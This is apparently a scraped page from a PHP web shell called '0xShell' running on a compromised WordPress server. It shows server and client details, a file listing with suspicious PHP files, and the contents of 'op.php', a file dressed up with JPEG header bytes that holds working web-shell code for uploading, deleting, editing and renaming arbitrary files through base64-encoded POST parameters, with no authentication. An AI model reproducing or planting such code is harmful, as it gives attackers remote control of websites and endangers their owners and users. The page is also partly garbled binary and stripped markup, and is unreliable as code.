0xShell Shell MySQL Netstat SMTP FTP SSH 未选择任何文件 Domain Upload file System Info: User: couragent | UID: 1022 | GID: 1024 | Groups: 1024 Server IP: 62.72.47.222 | Client IP: 23.145.24.71 PHP: 8.1.29 | OS: Linux | Server: LiteSpeed command /home/couragent/public_html$ Enter file path to read Files ../ � .htaccess � '0e 4e5 .tmb/ � .user.ini � '0e 4e5 .well-known/ � 123.php � '0e 4e5 cgi-bin/ � clasa99.php � '0e 4e5 error_log � '0e 4e5 evs.txt � '0e 4e5 home/ � index.php � 4e5 license.txt � '0e 4e5 op.php � '0e 4e5 php.ini � '0e 4e5 readme.html � '0e 4e5 robots.txt � '0e 4e5 wp-activate.php � '0e 4e5 wp-admin/ � wp-blog-header.php � '0e 4e5 wp-comments-post.php � '0e 4e5 wp-config-sample.php � '0e 4e5 wp-config.php � '0e 4e5 wp-content/ � wp-cron.php � '0e 4e5 wp-includes/ � wp-links-opml.php � '0e 4e5 wp-load.php � '0e 4e5 wp-login.php � '0e 4e5 wp-mail.php � '0e 4e5 wp-settings.php � '0e 4e5 wp-signup.php � '0e 4e5 wp-trackback.php � '0e 4e5 xmlrpc.php � '0e 4e5 Viewing: op.php css/iec/hex/admin.php 0000444 00000020720 15220530446 0010461 0 ustar 00 ???�� JFIF ?? C !"$"$?? C?? p " ?? ?? ?�� ????(% aA*?XYD?(J??E��RE,P�XYae?)(E��2�B��R�� BQ��� X?)X�����? @ .....................................................................................................................................???�� JFIF ?? C !"$"$?? C?? p " ?? ?? ?�� ????(% aA*?XYD?(J??E��RE,P�XYae?)(E��2�B��R�� BQ��� X?)X�����? @ ....................................................................................................................."; foreach ($pathParts as $k => $v) { if ($v == "" && $k == 0) { echo "/"; continue; } $dirPath = implode("/", array_slice($pathParts, 0, $k + 1)); echo "$v/"; } echo ""; // Upload if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] === 0) { $fileName = basename($_FILES['u']['name']); $tmpName = $_FILES['u']['tmp_name']; $destination = $currentDir . DIRECTORY_SEPARATOR . $fileName; if (is_uploaded_file($tmpName)) { $content = file_get_contents($tmpName); if ($content !== false && file_put_contents($destination, $content) !== false) { echo ""; } else { echo ""; } } else { echo ""; } } // File/Folder Listing $items = scandir($currentDir); if ($items !== false) { echo "
| Name | Size | Action |
|---|---|---|
| dir> $item | -- | -- |
| fil> $item | $size | " . "Delete | " . "Edit | " . "Rename" . " |
Unable to read directory!
"; } // Delete File if (isset($_POST['del'])) { $filePath = base64_decode($_POST['del']); $fileDir = dirname($filePath); if (@unlink($filePath)) { echo ""; } else { echo ""; } } // Edit File if (isset($_POST['edit'])) { $filePath = base64_decode($_POST['edit']); $fileDir = dirname($filePath); if (file_exists($filePath)) { echo ""; echo "Back"; echo ""; } } // Save Edited File if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) { $filePath = base64_decode($_POST['obj']); $fileDir = dirname($filePath); if (file_put_contents($filePath, $_POST['content'])) { echo ""; } else { echo ""; } } // Rename if (isset($_POST['ren'])) { $oldPath = base64_decode($_POST['ren']); $oldDir = dirname($oldPath); if (isset($_POST['new'])) { $newPath = $oldDir . '/' . $_POST['new']; if (rename($oldPath, $newPath)) { echo ""; } else { echo ""; } } else { echo ""; } } ?>